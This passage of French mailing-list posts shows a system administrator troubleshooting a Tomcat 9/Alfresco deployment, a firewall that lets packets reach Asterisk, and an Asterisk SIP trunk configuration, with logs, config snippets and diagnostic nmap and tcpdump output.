86.212.205.101:58146 peer info: IV_LZO=1 2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_COMP_STUB=1 2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_COMP_STUBv2=1 2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_TCPNL=1 2023-08-25 16:58:40 86.212.205.101:58146 TLS: move_session: dest=TM_ACTIVE src=TM_INITIAL reinit_src=1 2023-08-25 16:58:40 86.212.205.101:58146 TLS: tls_multi_process: initial untrusted session promoted to trusted 2023-08-25 16:58:40 86.212.205.101:58146 Control Channel: TLSv1.3, cipher TLSv1.3 TLS_AES_256_GCM_SHA384, peer certificate: 1024 bit RSA, signature: RSA-SHA1 2023-08-25 16:58:40 86.212.205.101:58146 [cervantes] Peer Connection Initiated with [AF_INET]86.212.205.101:58146 2023-08-25 16:58:40 cervantes/86.212.205.101:58146 MULTI_sva: pool returned IPv4=192.168.2.2, IPv6=(Not enabled) 2023-08-25 16:58:40 cervantes/86.212.205.101:58146 OPTIONS IMPORT: reading client specific options from: /etc/openvpn/ccd/cervantes 2023-08-25 16:58:41 cervantes/86.212.205.101:58146 Data Channel: cipher 'AES-256-GCM', peer-id: 0 2023-08-25 16:58:41 cervantes/86.212.205.101:58146 Timers: ping 10, ping-restart 240 2023-08-25 16:58:41 cervantes/86.212.205.101:58146 PUSH: Received control message: 'PUSH_REQUEST' 2023-08-25 16:58:41 cervantes/86.212.205.101:58146 SENT CONTROL [cervantes]: 'PUSH_REPLY,route-gateway 192.168.2.1,ping 10,ping-restart 120,ifconfig 192.168.2.5 255.255.255.0,peer-id 1,cipher AES-256-GCM' (status=1) 2023-08-25 16:58:51 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146 2023-08-25 16:58:56 nietzsche/92.184.124.63:50216 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216 2023-08-25 16:59:00 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146 2023-08-25 16:59:06 nietzsche/92.184.124.63:50216 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216 2023-08-25 16:59:10 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146 2023-08-25 16:59:17 nietzsche/92.184.124.63:50216 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216 2023-08-25 16:59:21 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146 2023-08-25 16:59:26 nietzsche/92.184.124.63:50216 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216 2023-08-25 16:59:31 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146 2023-08-25 16:59:36 nietzsche/92.184.124.63:50216 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216 2023-08-25 16:59:41 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146 2023-08-25 16:59:46 nietzsche/92.184.124.63:50216 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216 2023-08-25 16:59:50 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146 2023-08-25 16:59:57 nietzsche/92.184.124.63:50216 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216 2023-08-25 17:00:00 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146 2023-08-25 17:00:07 nietzsche/92.184.124.63:50216 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216 2023-08-25 17:00:11 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> cervantes/86.212.205.101:58146 2023-08-25 17:00:17 nietzsche/92.184.124.63:50216 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 -> nietzsche/92.184.124.63:50216 2023-08-25 17:00:21 cervantes/86.212.205.101:58146 MULTI: Learn: 1e:b4:cb:07:ed:2d@0 ->
Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente
Etienne Vogt a écrit : > > Une possible piste est que tomcat9 a des protections additionnelles par > rapport à tomcat8, donc si on installe une servlet ailleurs que dans les > chemins par défaut, il faut autoriser l'accès dans > /etc/systemd/system/tomcat9.service > > Par ex. pour un IdP Shibboleth sous tomcat9, j'ai du ajouter : > > ReadWritePaths=/opt/shibboleth-idp/logs/ > ReadWritePaths=/opt/shibboleth-idp/metadata/ > > pour que cela fonctionne. Merci de vous être penché sur le sujet. C'était déjà un tomcat9 avec ces ReadWritePaths. Alfresco est un truc à s'arracher les cheveux lors de l'installation (je pense que c'est fait pour que les gens prennent le support payant). Après quelques frayeurs concernant l'intégrité des données, j'y suis arrivé. Il y a des chemins qui sont maintenant codés en dur. C'est ça qui pose problème. Et il ne faut pas oublier de patcher les jar grâce à l'outil solr (celui fourni par alfresco dans un second package, le jar originel ne suffit pas). De la même manière, le jodconverter est tout cassé (il faut filer un chemin sur la ligne de commande qui n'est pas celui qui est retourné dans l'erreur Java). Sans compter que le solr fourni demande dans la doc java 8 et qu'il est compilé... pour fonctionner à partir de la 11. Je vais essayer d'écrire un tuto sur l'installation d'Alfresco sur Debian/Devuan.
Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente
didier gaumet a écrit :
> Le 06/07/2023 à 08:26, BERTRAND Joël a écrit :
>> didier gaumet a écrit :
>>> Mais ceci étant, le lien -bien qu'extrait du site Alfresco- que je t'ai
>>> indiqué semble justement expliquer comment installer et configurer
>>> *Tomcat* pour le bon fonctionnement d'Alfresco, entre autres les
>>> chemins, mais pas seulement
>>>
>>> Mais bon, j'ai peut-être rien compris, hein :-)
>>
>> Mais si, mais si... Mais le problème n'est pas exactement là. Ce ne
>> sont pas les classes qui ne sont pas trouvées, mais le fait que ces
>> classes appellent des scripts et des binaires dans le /bin local
>> d'alfresco. Et tomcat cherche ces bouts de code dans $CATALINA_HOME et
>> $CATALINA_BASE. Avant la mise à jour de tomcat, j'avais rusé en collant
>> l'une des deux variables vers la racine d'installation d'alfresco, ce
>> qui ne fonctionne plus aujourd'hui.
>>
>> En d'autres termes, toutes les classes sont bien trouvées, ce sont
>> les
>> programmes annexes qui manquent à l'appel.
>>
>>
>
> J'espère que je n'insiste pas de manière déplaisante vu que j'ai peine à
> comprendre globalement ce dont on parle,
>
> mais ce qui suit (extrait du lien précédent) ne concerne-t-il pas
> justement la configuration dans Tomcat de l'emplacement des classes *et*
> des bibliothèques (je crois comprendre confusément que c'est ce qui te
> manque)?
>
> [...]
> "
> Create an additional classpath to Tomcat, which will be shared among all
> web applications.
>
> Create the directories required for a Content Services installation
> under :
> Create the shared/classes directory.
> Create the shared/lib directory.
>
> Open the /conf/catalina.properties file.
>
> Change the value of the shared.loader= property to the following:
>
>
> shared.loader=${catalina.base}/shared/classes,${catalina.base}/shared/lib/*.jar
>
> "
Si, c'est bien ça. Mais Alfresco utilise aussi une foultitude de
scripts et ça met un bazar sans nom dans les fichiers de conf dont les
chemins sont par défaut CATALINA_HOME.
La seule solution simple, c'est de suivre la doc en question *en
installant alfresco dans /var/lib/tomcat9*. Sinon, alfresco se lance
mais tomcat ne répond plus. Antérieurement, ça fonctionnait pourtant
bien, c'est ce que j'avais installé. Mais depuis la dernière mise à jour
de tomcat, ça coince.
J'en suis à avoir les deux services tomcat share et alfresco qui
tournent, j'arrive à me connecter, mais je n'ai accès à aucun de mes
fichiers. Il me reste un access denied sur un script et je ne vois pas
encore où.
2023-07-06 12:25:10,484 INFO [web.site.EditionInterceptor]
[ajp-nio-127.0.0.1-8009-exec-1] Successfully retrieved license
information from Alfresco.
2023-07-06 12:25:12,181 ERROR [extensions.webscripts.AbstractRuntime]
[http-nio-8080-exec-4] Exception from executeScript: 06060040 Access
refusé. Vous n'avez pas la permission de réaliser cette opération.
org.alfresco.repo.security.permissions.AccessDeniedException: 06060040
Access refusé. Vous n'avez pas la permission de réaliser cette opération.
at
org.alfresco.repo.security.permissions.impl.ExceptionTranslatorMethodInterceptor.invoke(ExceptionTranslatorMethodInterceptor.java:57)
JB
Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente
didier gaumet a écrit : > Mais ceci étant, le lien -bien qu'extrait du site Alfresco- que je t'ai > indiqué semble justement expliquer comment installer et configurer > *Tomcat* pour le bon fonctionnement d'Alfresco, entre autres les > chemins, mais pas seulement > > Mais bon, j'ai peut-être rien compris, hein :-) Mais si, mais si... Mais le problème n'est pas exactement là. Ce ne sont pas les classes qui ne sont pas trouvées, mais le fait que ces classes appellent des scripts et des binaires dans le /bin local d'alfresco. Et tomcat cherche ces bouts de code dans $CATALINA_HOME et $CATALINA_BASE. Avant la mise à jour de tomcat, j'avais rusé en collant l'une des deux variables vers la racine d'installation d'alfresco, ce qui ne fonctionne plus aujourd'hui. En d'autres termes, toutes les classes sont bien trouvées, ce sont les programmes annexes qui manquent à l'appel.
Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente
didier gaumet a écrit : > Avertissement: si je n'ai pas répondu à ton précédent message c'est que > je suis totalement inculte sur le sujet > > Y a un paragraphe de la doc Alfresco qui a l'air de s'intéresser aux > aspects du problème qui t'intéresse (regarde à "classpath"): > https://docs.alfresco.com/content-services/7.2/install/zip/tomcat/#install-application-server > > > désolé si ça ne répond pas à la question tel que tu l'espérais: vu mon > niveau j'en suis réduit aux conjectures, hein... Merci de t'être penché sur le sujet. J'avance de mon côté et il y a plusieurs problèmes qui se superposent. J'ai réussi à relancer Alfresco, mais il est bancal. J'essayerai de faire une réponse avec la résolution, mais le problème est côté Tomcat, pas côté Alfresco.
Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente
Bonsoir à tous, Trouvé... Enfin, j'ai trouvé le fautif, mais je ne sais pas trop comment résoudre le problème. J'avais galéré pour installer Alfresco et j'avais utilisé la variable CATALINA_BASE=/opt/alfresco dans /etc/default/tomcat9. Ça fonctionnait très bien. Sauf que depuis la dernière mise à jour de tomcat9, ça ne fonctionne plus correctement. J'ai retiré la variable en question et j'arrive à lancer tomcat sur la machine. J'essaie donc de modifier les contexts de tomcat pour réussir à lancer alfresco en rajoutant un path. Rien n'y fait. J'ai par exemple ceci : Comment rajouter le path là-dedans ? J'ai bien tenté un qui renvoie : GRAVE: Erreur lors du déploiement du descripteur de configuration [/etc/tomcat9/Catalina/localhost/alfresco.xml] java.lang.IllegalStateException: Erreur lors du démarrage du conteneur fils Caused by: org.apache.catalina.LifecycleException: Echec de démarrage du composant [org.apache.catalina.webresources.StandardRoot@d91e8c7] at org.apache.catalina.util.LifecycleBase.handleSubClassException(LifecycleBase.java:440) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:198) at org.apache.catalina.core.StandardContext.resourcesStart(StandardContext.java:4881) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5014) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:183) at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:726) ... 37 more Caused by: java.lang.IllegalArgumentException: L'ensemble de ressources principal [/var/lib/tomcat9/webapps/alfresco] est invalide at org.apache.catalina.webresources.StandardRoot.createMainResourceSet(StandardRoot.java:777) at org.apache.catalina.webresources.StandardRoot.startInternal(StandardRoot.java:734) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:183) ... 41 more juil. 05, 2023 6:27:56 PM org.apache.catalina.startup.HostConfig deployDescriptor Merci de toute idée... Bien cordialement, JB
Connexion impossible sur Tomcat 9 depuis une mise à jour récente
Bonjour à tous, Désolé de polluer comme ça la liste depuis hier, mais je galère sur une mise à jour de serveur à la suite d'un déménagement d'infrastructure... J'ai installé il y a plusieurs années un serveur Alfresco, tout d'abord en version 6.0 puis en version 6.1. Initialement, il tournait avec Tomcat8 et au fur et à mesure des mises à jour Tomcat9. J'ai eu beaucoup de mal à avoir un système fonctionnel. Une fois la configuration faite, je n'y ai plus touché. Récemment, j'ai fait un dist-upgrade après le percement de sites SPIP. Depuis, alfresco ne fonctionne plus et j'ai l'impression que le problème se situe au niveau de Tomcat. Apache, je maîtrise, mais les machins autour de Java ne sont pas ma tasse de thé. La configuration de tomcat (que je peux fournir) n'a pas changé. J'ai naturellement vérifié sur les sauvegardes avec un diff -u. J'ai l'impression que Tomcat se lance correctement. Un processus Java mouline durant une minute, le fichier catalina.out semble indiquer que tout se passe correctement. Seul le connecteur entre Alfresco et Libreoffice râle si je ne le tue pas à la main avant de relancer Tomcat. Sauf que je ne peux même pas me connecter sur localhost:8080 pour interroger directement Tomcat. Pas d'erreur, la requête termine en timeout. Tomcat semble pourtant commencer à répondre puisqu'il y a des paquets qui transitent sur le port 8080. 10:38:14.805214 IP legendre.systella.fr.60864 > rayleigh.systella.fr.http-alt: Flags [.], ack 1, win 4480, options [nop,nop,TS val 1 ecr 279451], length 0 10:38:14.805471 IP legendre.systella.fr.60864 > rayleigh.systella.fr.http-alt: Flags [P.], seq 1:469, ack 1, win 4480, options [nop,nop,TS val 1 ecr 279451], length 468: HTTP: GET / HTTP/1.1 10:38:14.805511 IP rayleigh.systella.fr.http-alt > legendre.systella.fr.60864: Flags [.], ack 469, win 253, options [nop,nop,TS val 279452 ecr 1], length 0 ^C J'ai bien mon processus qui tourne : Root rayleigh:[/etc/tomcat9] > ps auwx | grep tomcat tomcat 18743 0.0 0.5 667928 96640 ?Sl juil.02 0:00 /usr/lib/libreoffice/program/soffice.bin -accept=socket,host=127.0.0.1,port=2022;urp; -env:UserInstallation=file:///opt/alfresco/tmp/.jodconverter_socket_host-127.0.0.1_port-2022 -headless -nocrashreport -nodefault -nofirststartwizard -nolockcheck -nologo -norestore tomcat 30483 7.7 6.6 10155676 1081020 ?Sl 10:09 2:17 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/opt/alfresco/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0022 -Dignore.endorsed.dirs= -classpath /usr/share/tomcat9/bin/bootstrap.jar:/usr/share/tomcat9/bin/tomcat-juli.jar -Dcatalina.base=/opt/alfresco -Dcatalina.home=/usr/share/tomcat9 -Djava.io.tmpdir=/opt/alfresco/tmp org.apache.catalina.startup.Bootstrap start Et le port est bien en écoute : Root rayleigh:[/etc/tomcat8] > nmap 192.168.1.1 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-04 10:39 CEST ... 8080/tcp open http-proxy ... Un autre point me semble étrange : Root rayleigh:[/opt/alfresco/logs] > grep xml catalina.out INFOS: Déploiement du descripteur de configuration [/etc/tomcat9/Catalina/localhost/share.xml] INFOS: Le traitement du descripteur de déploiement [/etc/tomcat9/Catalina/localhost/share.xml] a pris [8 087] ms INFOS: Déploiement du descripteur de configuration [/etc/tomcat9/Catalina/localhost/manager.xml] AVERTISSEMENT: L'attribut path avec la valeur [/manager] dans le descripteur de déploiement [/etc/tomcat9/Catalina/localhost/manager.xml] a été ignoré INFOS: Le traitement du descripteur de déploiement [/etc/tomcat9/Catalina/localhost/manager.xml] a pris [517] ms INFOS: Déploiement du descripteur de configuration [/etc/tomcat9/Catalina/localhost/alfresco.xml] Or j'ai plus de descripteurs dans le configuration de Tomcat : Root rayleigh:[/etc/tomcat9/Catalina/localhost] > ls alfresco.xml docs.xml host-manager.xml manager.xml share.xml solr.xml Je n'ai aucune trace de ces descripteurs dans le lancement de tomcat. Aucune erreur. Je ne sais plus où chercher et suis preneur de toute idée. Bien cordialement, JKB
Re: Trou dans un firewall (iptables nftable)
NoSpam a écrit : > > Le 03/07/2023 à 15:12, BERTRAND Joël a écrit : >> NoSpam a écrit : >>> Ils n'arrivent jamais plus loin que mangle INPUT qui est avant la table >>> nat et filter >> D'accord. Mais dans ce cas, pourquoi sngrep les intercepte ? > Tout comme iptables et tcpdump, les paquets sont capturés dès leur > arrivée. sngrep sait lire du pcap. Si tu regardes les trames INVITE tu > ne devrais voir aucune réponse de ton asterisk Effectivement, il n'y a aucune réponse. Merci pour tout, JB
Re: Trou dans un firewall (iptables nftable)
NoSpam a écrit : > Ils n'arrivent jamais plus loin que mangle INPUT qui est avant la table > nat et filter D'accord. Mais dans ce cas, pourquoi sngrep les intercepte ? JB
Re: Trou dans un firewall (iptables nftable)
Thomas Trupel a écrit : > C'est un comportement normal à mes yeux. > > L'ajout d'une règle avec la target TRACE devrait te confirmer que les > paquets sont bloqués par le firewall. J'obtiens ceci : 2023-07-03T14:37:45.868470+02:00 rayleigh kernel: [705875.038988] TRACE: raw:PREROUTING:policy:2 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209 DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF PROTO=UDP SPT=5256 DPT=5060 LEN=422 2023-07-03T14:37:45.868494+02:00 rayleigh kernel: [705875.039009] TRACE: mangle:PREROUTING:policy:1 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209 DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF PROTO=UDP SPT=5256 DPT=5060 LEN=422 2023-07-03T14:37:45.868497+02:00 rayleigh kernel: [705875.039019] TRACE: nat:PREROUTING:policy:1 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209 DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF PROTO=UDP SPT=5256 DPT=5060 LEN=422 2023-07-03T14:37:45.868498+02:00 rayleigh kernel: [705875.039035] TRACE: mangle:INPUT:policy:1 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209 DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF PROTO=UDP SPT=5256 DPT=5060 LEN=422 raw:PREROUTING:policy:2 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29 DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP SPT=38996 DPT=5060 LEN=259 2023-07-03T14:51:17.795018+02:00 rayleigh kernel: [706686.983258] TRACE: mangle:PREROUTING:policy:1 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29 DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP SPT=38996 DPT=5060 LEN=259 2023-07-03T14:51:17.795021+02:00 rayleigh kernel: [706686.983268] TRACE: nat:PREROUTING:policy:1 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29 DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP SPT=38996 DPT=5060 LEN=259 2023-07-03T14:51:17.795022+02:00 rayleigh kernel: [706686.983282] TRACE: mangle:INPUT:policy:1 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29 DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP SPT=38996 DPT=5060 LEN=259 2023-07-03T14:56:40.474426+02:00 rayleigh kernel: [707009.669233] TRACE: raw:PREROUTING:policy:2 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23 DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0 OPT (020405A0) 2023-07-03T14:56:40.474447+02:00 rayleigh kernel: [707009.669262] TRACE: mangle:PREROUTING:policy:1 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23 DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0 OPT (020405A0) 2023-07-03T14:56:40.474452+02:00 rayleigh kernel: [707009.669274] TRACE: nat:PREROUTING:policy:1 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23 DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0 OPT (020405A0) 2023-07-03T14:56:40.474454+02:00 rayleigh kernel: [707009.669289] TRACE: mangle:INPUT:policy:1 IN=wan0 OUT= MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23 DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0 OPT (020405A0) Où voit-on que ces paquets sont bloqués ? Bien cordialement, JKB
Re: Trou dans un firewall (iptables nftable)
Thomas Trupel a écrit : > C'est un comportement normal à mes yeux. > > L'ajout d'une règle avec la target TRACE devrait te confirmer que les > paquets sont bloqués par le firewall. Dans le cas de SIP, ils sont tout de même récupérés par sngrep : [ ] 359 INVITE 100@1.1.1.1 100@1.1.1.1 1 64.31.63.27:5166 192.168.15.18:5060 CALL SETUP donc pas si bloqués que cela ;-) Bien cordialement, JKB
Re: Trou dans un firewall (iptables nftable)
C'est même pire que ça ! Si je fais un nmap depuis l'extérieur sur le serveur en question, j'obtiens bien : legendre# nmap 192.168.15.18 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 14:09 CEST Nmap scan report for 192.168.15.18 Host is up (0.00078s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 53/tcp open domain 80/tcp open http 443/tcp open https 465/tcp closed smtps 587/tcp open submission 993/tcp open imaps 995/tcp open pop3s 2401/tcp closed cvspserver 4443/tcp closed pharos 5222/tcp open xmpp-client 9418/tcp open git MAC Address: 50:46:5D:72:EF:A2 (Asustek Computer) Nmap done: 1 IP address (1 host up) scanned in 5.01 seconds legendre# ce qui semble correspondre aux ports effectivement ouverts. Mais un tcpdump sur l'interface publique de la machine testée voit bien passer tous les paquets (pas seulement ceux correspondant ax ports ouverts). Idem en UDP : legendre# nmap -sU 192.168.15.18 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 14:11 CEST Nmap scan report for 192.168.15.18 Host is up (0.00053s latency). Not shown: 997 open|filtered udp ports (no-response) PORT STATE SERVICE 53/udpopen domain 123/udp open ntp 1/udp closed ndmp MAC Address: 50:46:5D:72:EF:A2 (Asustek Computer) Nmap done: 1 IP address (1 host up) scanned in 5.81 seconds legendre# Lorsque j'utilisais iptables-legacy, je n'ai jamais observé cela. Par ailleurs, ça n'explique pas que des paquets à destination d'un port fermé aboutissent bien à mon serveur asterisk... Bien cordialement, JKB
Re: Configuration asterisk
Je l'ai... Il fallait mettre l'IP du serveur dans contact. Je pense que la doc d'asterisk est parfaite pour quelqu'un qui sait déjà exactement de quoi il retourne, mais pour quelqu'un qui en est à sa première installation, c'est un peu galère. Je vais essayer de rédiger quelque chose pour les débutants. Merci pour tout. JB
Re: Configuration asterisk
NoSpam a écrit :
>
> Le 03/07/2023 à 12:57, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Le 03/07/2023 à 12:07, BERTRAND Joël a écrit :
>>>> NoSpam a écrit :
>>>>> Stop: n'as tu pas dit que les postes en interne arrivent à s'appeler ?
>>>>> Si c'est le cas, cela veut dire qu'asterisk ne sait pas comment
>>>>> traiter
>>>>> l'appel.
>>>>>
>>>>> 34. No circuit/channel available
>>>>>
>>>>> Renvois STP le context internal
>>>> Je réponds à toutes les questions dans le même mail pour qu'on s'y
>>>> retrouve plus facilement.
>>>>
>>>> [internal]
>>>> exten => 6001,1,Dial(PJSIP/6001)
>>>> exten => 6002,1,Dial(PJSIP/6002)
>>>> exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
>>> Ca c'est OK
>>>>
>>>> rayleigh*CLI> pjsip show endpoint SBSR
>>>> ...
>>>> Endpoint: SBSR
>>>> Not in
>>>> use 0 of inf
>>>> OutAuth: SBSR_auth/trunk-sip
>>>> Aor: SBSR 1
>>>> Contact: SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
>>>> NonQual nan
>>>> Transport: udp-transport udp 0 0
>>>> 0.0.0.0:5060
>>>> Identify: SBSR/SBSR
>>>> Match: 37.97.65.186/32
>>> udp-transport sur port 5060 ? Ca coince déjà ;) Le Contact est
>>> également mauvais, il devrait ressembler à
>>>
>>> SBSR/sip::5070
>>>
>>> Dans [aor] rajoute
>>>
>>> contact=sip::5070
>>>
>>> Identify ne sert à rien puisque tu t'enregistre
>>>
>>> Règle les deux premiers problèmes, cela devrait faire avancer les choses
>> [SBSR]
>> type=aor
>> contact=sip:trunk-sip@:5070
>> max_contacts=1
>> remove_existing=yes
>
> Es tu sur que trunk-sip est ton contact chez le provider ? J'ai des
> doutes ... au mieux c'est ton username mais en général pas besoin
> sip:domain:5070 doit suffire. Mets max_contacts=10 pour le moment
Déjà, il y a un point que je ne saisis pas.
La signalisation du trunk SIP se fait en 5070/TCP, mais les paquets RTP
associés sont bien en UDP :
13:38:49.281101 IP rayleigh.systella.fr.17056 > 37.97.65.116.50458: UDP,
length 172
13:38:49.286130 IP 37.97.65.116.50458 > rayleigh.systella.fr.17056: UDP,
length 172
Quand je lance
rayleigh*CLI> pjsip show endpoint SBSR
...
Endpoint: SBSR Not in
use0 of inf
OutAuth: SBSR_auth/trunk-sip
Aor: SBSR 1
Contact: SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
NonQual nan
Transport: udp-transport udp 0 0 0.0.0.0:5060
Identify: SBSR/SBSR
Match: 37.97.65.186/32
à quoi correspond udp-transport ? À la signalisation (auquel cas on
devrait être en 5070/TCP) ou aux paquets RTP ?
J'ai l'impression qu'il s'agit de la signalisation mais je n'en suis
pas sûr. Je vais tout de même essayer de trouver le moyen de forcer un
transport en TCP sur le port 5070.
Comme identifiant, le fournisseur m'a juste donné trunk-sip@domaine,
rien d'autre.
> pjsip show aors te donnera plus d'infos
rayleigh*CLI> pjsip show aors
Aor:
Contact:
==
Aor: 6001 1
Contact: 6001/sip:6001@192.168.10.253:5060a0a76d4acb
NonQual nan
Aor: 6002 1
Contact: 6002/sip:6002@192.168.10.250:50616a2a034b2c
NonQual nan
Aor: SBSR 1
Contact: SBSR/sip:trunk-...@systella2.buroticstore.eu 5551fa2b78
NonQual nan
Objects found: 3
rayleigh*CLI> pjsip list transports
Transport:
==
Transport: tcp-transport tcp 0 0 192.168.15.18:5060
Transport: udp-transport udp 0 0 0.0.0.0:5060
Objects found: 2
JB
Re: Configuration asterisk
NoSpam a écrit :
>
> Le 03/07/2023 à 12:07, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Stop: n'as tu pas dit que les postes en interne arrivent à s'appeler ?
>>> Si c'est le cas, cela veut dire qu'asterisk ne sait pas comment traiter
>>> l'appel.
>>>
>>> 34. No circuit/channel available
>>>
>>> Renvois STP le context internal
>> Je réponds à toutes les questions dans le même mail pour qu'on s'y
>> retrouve plus facilement.
>>
>> [internal]
>> exten => 6001,1,Dial(PJSIP/6001)
>> exten => 6002,1,Dial(PJSIP/6002)
>> exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
> Ca c'est OK
>>
>>
>> rayleigh*CLI> pjsip show endpoint SBSR
>> ...
>> Endpoint: SBSR Not in
>> use 0 of inf
>> OutAuth: SBSR_auth/trunk-sip
>> Aor: SBSR 1
>> Contact: SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
>> NonQual nan
>> Transport: udp-transport udp 0 0 0.0.0.0:5060
>> Identify: SBSR/SBSR
>> Match: 37.97.65.186/32
>
> udp-transport sur port 5060 ? Ca coince déjà ;) Le Contact est
> également mauvais, il devrait ressembler à
>
> SBSR/sip::5070
>
> Dans [aor] rajoute
>
> contact=sip::5070
>
> Identify ne sert à rien puisque tu t'enregistre
>
> Règle les deux premiers problèmes, cela devrait faire avancer les choses
[SBSR]
type=aor
contact=sip:trunk-sip@:5070
max_contacts=1
remove_existing=yes
ne change rien. J'ai toujours après un redémarrage :
Transport: udp-transport udp 0 0 0.0.0.0:5060
Identify: SBSR/SBSR
Match: 37.97.65.186/32
Je vais continuer à creuser après le repas, il commence à faire faim.
JKB
Trou dans un firewall (iptables nftable)
